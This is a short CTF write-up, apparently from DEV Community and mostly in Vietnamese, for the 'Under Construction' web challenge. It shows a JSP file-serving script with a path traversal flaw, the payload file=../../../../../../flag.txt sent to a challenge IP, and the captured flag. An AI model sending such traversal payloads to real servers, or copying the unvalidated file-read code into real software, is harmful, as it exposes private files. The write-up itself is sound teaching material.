DEV Community

Cover image for Challenge: Under Construction
tRavOndAtrACk
tRavOndAtrACk

Posted on

Challenge: Under Construction

Link: https://battle.cookiearena.org/challenges/web/under-construction
Try to read /flag.txt

Phân tích lổ hổng
File image.jsp

<%@ page trimDirectiveWhitespaces="true" %>
<%
String filepath = getServletContext().getRealPath("resources") + "/";
String _file = request.getParameter("file");

response.setContentType("image/jpeg");
try{
    java.io.FileInputStream fileInputStream = new java.io.FileInputStream(filepath + _file);
    int i;   
    while ((i = fileInputStream.read()) != -1) {  
        out.write(i);
    }   
    fileInputStream.close();
}catch(Exception e){
    response.sendError(404, "Not Found !" );
}
%>
Enter fullscreen mode Exit fullscreen mode

Lỗ hổng Path Traversal ở đâu?
FileInputStream fileInputStream = new FileInputStream(filepath + _file);

Không hề có kiểm tra nào với giá trị _file. Không kiểm tra ký tự ... Không kiểm tra rằng _file nằm bên trong thư mục /resources/
👉 Hệ quả:
Có thể truyền file=../../../../../../flag.txt để chui ra ngoài thư mục /resources/, truy cập vào bất kỳ file nào mà tiến trình web server có quyền đọc

==> Dùng burp bắt tới URL http://103.97.125.56:31999/image.jsp?file=../../../../../../flag.txt

Image description

==> FLAG: CHH{unD3R_cOns7rUcTI0N_cc2880e4ca1818f66e64c626e0b075d7}


Top comments (0)